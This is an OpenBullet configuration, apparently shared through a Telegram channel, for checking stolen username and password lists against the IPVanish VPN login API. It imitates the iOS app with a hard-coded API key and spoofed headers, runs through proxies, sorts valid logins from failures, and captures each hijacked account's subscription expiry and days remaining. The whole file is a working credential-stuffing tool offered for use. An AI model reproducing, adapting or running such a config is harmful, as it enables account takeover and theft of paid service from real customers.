[SETTINGS] { "Name": "Ipvanish VPN", "SuggestedBots": 100, "MaxCPM": 0, "LastModified": "2020-09-08T09:15:05.7602345-07:00", "AdditionalInfo": "Telegram Channel : T.me/OpenBulletConfigs", "RequiredPlugins": [], "Author": "\"The_FiendQQ\"", "Version": "1.2.2", "SaveEmptyCaptures": false, "ContinueOnCustom": false, "SaveHitsToTextFile": false, "IgnoreResponseErrors": false, "MaxRedirects": 8, "NeedsProxies": true, "OnlySocks": false, "OnlySsl": false, "MaxProxyUses": 0, "BanProxyAfterGoodStatus": false, "BanLoopEvasionOverride": -1, "EncodeData": false, "AllowedWordlist1": "Credentials", "AllowedWordlist2": "", "DataRules": [], "CustomInputs": [], "ForceHeadless": false, "AlwaysOpen": false, "AlwaysQuit": false, "QuitOnBanRetry": false, "DisableNotifications": false, "CustomUserAgent": "", "RandomUA": false, "CustomCMDArgs": "" } [SCRIPT] BEGIN SCRIPT JavaScript function uuidv4() { return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) { var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); return v.toString(16); }); } var udid = uuidv4(); END SCRIPT -> VARS "udid" #Udid FUNCTION ToUppercase "" -> VAR "UDID" #Login REQUEST POST "https://account.ipvanish.com/api/v3/login" CONTENT "{\"username\":\"\",\"password\":\"\",\"os\":\"iOS_12_4_5\",\"api_key\":\"185f600f32cee535b0bef41ad77c1acd\",\"client\":\"IPVanishVPN_iOS_3.5.0_36386\",\"uuid\":\"\"}" CONTENTTYPE "application/json" HEADER "Host: account.ipvanish.com" HEADER "Accept: */*" HEADER "X-Client-Version: 3.5.0_36386" HEADER "X-Platform-Version: 12_4_5" HEADER "Accept-Encoding: gzip, deflate" HEADER "Accept-Language: en-us" HEADER "User-Agent: IPVanishVPN/36386 CFNetwork/978.0.7 Darwin/18.7.0" HEADER "Connection: close" HEADER "X-Platform: iOS" HEADER "X-Client: IPVanishVPN" KEYCHECK KEYCHAIN Failure OR KEY "The username or password provided is incorrect" KEYCHAIN Success OR KEY "{\"email" #SubEnd PARSE "" JSON "sub_end_epoch" -> VAR "SubEnd" #Expiry FUNCTION UnixTimeToDate "yyyy-MM-dd" "" -> CAP "Expiry at" #TimeNow FUNCTION CurrentUnixTime -> VAR "TimeNow" #TimePlan FUNCTION DateToUnixTime "yyyy-MM-dd" "" -> VAR "TimePlan" #Comput FUNCTION Compute "(-)/86400" -> VAR "Comput" #DaysLeft FUNCTION Round "" -> CAP "DaysLeft" #Free? KEYCHECK BanOnToCheck=FALSE KEYCHAIN Custom "FREE" OR KEY "" LessThan "1"